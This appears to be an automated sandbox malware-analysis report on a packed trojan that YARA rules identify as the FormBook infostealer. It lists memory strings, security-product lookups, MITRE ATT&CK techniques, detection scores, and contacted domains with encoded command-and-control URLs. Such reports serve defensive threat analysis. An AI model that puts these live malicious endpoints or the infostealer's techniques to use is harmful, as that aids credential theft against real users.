Source: explorer.exe, 00000010.00000002.1042861311.00000000048E7000.00000004.00000001.sdmp	Binary or memory string: Progmank
Source: explorer.exe, 00000002.00000000.687502736.0000000001080000.00000002.00000001.sdmp, mstsc.exe, 00000006.00000002.1032343786.0000000003000000.00000002.00000001.sdmp, explorer.exe, 00000010.00000002.1029188263.00000000013D0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.704041361.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D
Source: WerFault.exe, 0000000A.00000003.731420901.000001EDC784C000.00000004.00000001.sdmp	Binary or memory string: SetProgmanWindow
Source: explorer.exe, 00000010.00000002.1047169993.000000000637F000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndQ
Source: explorer.exe, 00000010.00000002.1026816481.0000000000DD7000.00000004.00000020.sdmp	Binary or memory string: CProgman-71

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache132561585936642615.txt VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Source: SearchUI.exe, 00000016.00000003.853890231.000001B8E4627000.00000004.00000001.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\SUPERAntiSpyware\SUPERAntiSpyware.exe
Source: SearchUI.exe, 00000016.00000003.853890231.000001B8E4627000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Malwarebytes Anti-Malware\mbam.exe
Source: SearchUI.exe, 00000016.00000002.913336755.000001B8D1870000.00000004.00000001.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\Windows Defender\MSASCui.exe
Source: SearchUI.exe, 00000016.00000003.853890231.000001B8E4627000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Avira\AntiVir Desktop\avcenter.exe
Source: SearchUI.exe, 00000016.00000003.853890231.000001B8E4627000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Avira\Antivirus\avcenter.exe

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Shared Modules1	Valid Accounts1	Valid Accounts1	Masquerading1	Input Capture11	Query Registry1	Remote Services	Input Capture11	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Access Token Manipulation1	Valid Accounts1	LSASS Memory	Security Software Discovery241	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Process Injection812	Access Token Manipulation1	Security Account Manager	Virtualization/Sandbox Evasion5	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion5	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Disable or Modify Tools1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection812	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Deobfuscate/Decode Files or Information1	DCSync	System Information Discovery112	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Hidden Files and Directories1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Obfuscated Files or Information3	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Software Packing1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	29%	Virustotal		Browse
SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.AddInProcess32.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.luohu666.comReferer:	0%	Avira URL Cloud	safe
http://www.g2vies.com	0%	Avira URL Cloud	safe
http://www.gvanmp.com	0%	Avira URL Cloud	safe
http://www.listenmelody.comReferer:	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cingr	0%	Avira URL Cloud	safe
http://www.infomgt.net/bsl/www.renttoowngenius.com	0%	Avira URL Cloud	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://www.edu4go.com/bsl/	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://www.whatchicken.comReferer:	0%	Avira URL Cloud	safe
http://www.theprintshop.ink	0%	Avira URL Cloud	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://www.estivalconsultancy.com/bsl/	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://ns.adb	0%	Avira URL Cloud	safe
http://www.infomgt.netReferer:	0%	Avira URL Cloud	safe
http://www.thesunchronical.com/bsl/	0%	Avira URL Cloud	safe
http://www.edu4go.com/bsl/www.infomgt.net	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.jokerwirewheels.com	0%	Avira URL Cloud	safe
http://ns.adobe.cobj	0%	URL Reputation	safe
http://ns.adobe.cobj	0%	URL Reputation	safe
http://ns.adobe.cobj	0%	URL Reputation	safe
http://www.gvanmp.com/bsl/www.whatchicken.com	0%	Avira URL Cloud	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://www.whatchicken.com/bsl/www.estivalconsultancy.com	0%	Avira URL Cloud	safe
http://www.gvanmp.com/bsl/	0%	Avira URL Cloud	safe
http://www.theprintshop.ink/bsl/www.cbothwelltest2020081703.com	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.renttoowngenius.com/bsl/www.jokerwirewheels.com	0%	Avira URL Cloud	safe
http://www.renttoowngenius.comReferer:	0%	Avira URL Cloud	safe
http://www.thesunchronical.com	0%	Avira URL Cloud	safe
http://www.edu4go.com/bsl/?mt=meRO04KZ+tRueejEQ1mKApUC+xiZQAGZPTeO6WstMPZoEBgumINoRWRpGBFK3WkMjtLu&2d=hxlpdRkxCvtTgBzP	0%	Avira URL Cloud	safe
http://www.g2vies.comReferer:	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingrms	0%	Avira URL Cloud	safe
http://www.g2vies.com/bsl/?2d=hxlpdRkxCvtTgBzP&mt=B72SzM4OK6YheLE+tS6SAH+1fBRAvDBThfWED1RPUqC7thw4cowf+3ukjA/mpLG53kNi	0%	Avira URL Cloud	safe
http://www.infomgt.net/bsl/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.thesunchronical.com/bsl/www.serenityhomedits.com	0%	Avira URL Cloud	safe
http://www.cbothwelltest2020081703.com/bsl/	0%	Avira URL Cloud	safe
http://www.renttoowngenius.com	0%	Avira URL Cloud	safe
http://www.jokerwirewheels.com/bsl/	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.edu4go.com	0%	Avira URL Cloud	safe
https://mths.be/fromcodepoint	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.thesunchronical.comReferer:	0%	Avira URL Cloud	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.serenityhomedits.com	0%	Avira URL Cloud	safe
http://www.estivalconsultancy.com	0%	Avira URL Cloud	safe
https://aefd.nel	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.luohu666.com	0%	Avira URL Cloud	safe
http://www.estivalconsultancy.com/bsl/www.furnacerepairtacoma.net	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.serenityhomedits.comReferer:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edu4go.com	34.102.136.180	true	true	unknown
www.infomgt.net	188.166.214.231	true	false	unknown
g2vies.com	34.102.136.180	true	true	unknown
www.g2vies.com	unknown	unknown	true	unknown
www.edu4go.com	unknown	unknown	true	unknown
www.serenityhomedits.com	unknown	unknown	true	unknown
www.thesunchronical.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.edu4go.com/bsl/?mt=meRO04KZ+tRueejEQ1mKApUC+xiZQAGZPTeO6WstMPZoEBgumINoRWRpGBFK3WkMjtLu&2d=hxlpdRkxCvtTgBzP	true	Avira URL Cloud: safe	unknown
http://www.g2vies.com/bsl/?2d=hxlpdRkxCvtTgBzP&mt=B72SzM4OK6YheLE+tS6SAH+1fBRAvDBThfWED1RPUqC7thw4cowf+3ukjA/mpLG53kNi	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.luohu666.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.g2vies.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gvanmp.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.listenmelody.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp, explorer.exe, 00000010.00000002.1047288395.00000000063EC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cingr	SearchUI.exe, 00000016.00000002.910509404.000001B8D0EE3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.infomgt.net/bsl/www.renttoowngenius.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobe.c/g	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.682654205.00000000082B2000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.668183280.00000000082A1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.edu4go.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.pki.goog/gts1o1core0	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.whatchicken.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.theprintshop.ink	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pki.goog/GTS1O1core.crl0	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://substrate.office.com/api/v2.0/Users(	SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	false		high
https://substrate.office.com/profile/v0/users/	SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	false		high
http://www.estivalconsultancy.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ns.adb	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.682654205.00000000082B2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.infomgt.netReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.thesunchronical.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.edu4go.com/bsl/www.infomgt.net	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683345162.00000000024A1000.00000004.00000001.sdmp	false		high
http://www.jokerwirewheels.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobe.cobj	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.682654205.00000000082B2000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000003.668183280.00000000082A1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.gvanmp.com/bsl/www.whatchicken.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://pki.goog/gsr2/GTS1O1.crt0	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.whatchicken.com/bsl/www.estivalconsultancy.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gvanmp.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.theprintshop.ink/bsl/www.cbothwelltest2020081703.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://substrate.office.com	SearchUI.exe, 00000016.00000002.918398229.000001B8D25E0000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.renttoowngenius.com/bsl/www.jokerwirewheels.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.renttoowngenius.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.thesunchronical.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.g2vies.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingrms	SearchUI.exe, 00000016.00000002.911665172.000001B8D128D000.00000004.00000001.sdmp, SearchUI.exe, 00000016.00000003.830851464.000001B8D12E5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.infomgt.net/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.thesunchronical.com/bsl/www.serenityhomedits.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.cbothwelltest2020081703.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.renttoowngenius.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jokerwirewheels.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.edu4go.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://mths.be/fromcodepoint	SearchUI.exe, 00000016.00000002.915055024.000001B8D1DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.thesunchronical.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/	SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	false		high
http://schema.org/WebPage	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683370070.00000000024CF000.00000004.00000001.sdmp	false		high
http://www.typography.netD	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.serenityhomedits.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/User.ReadWrite	SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	false		high
http://www.estivalconsultancy.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nel	SearchUI.exe, 00000016.00000003.817365227.000001B8D126F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.%s.comPA	explorer.exe, 00000002.00000002.751926871.0000000002B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://api.msn.com/news/feed?market=en-us&query=	SearchUI.exe, 00000016.00000002.916371805.000001B8D20E0000.00000004.00000001.sdmp	false		high
http://www.fonts.com	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.luohu666.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
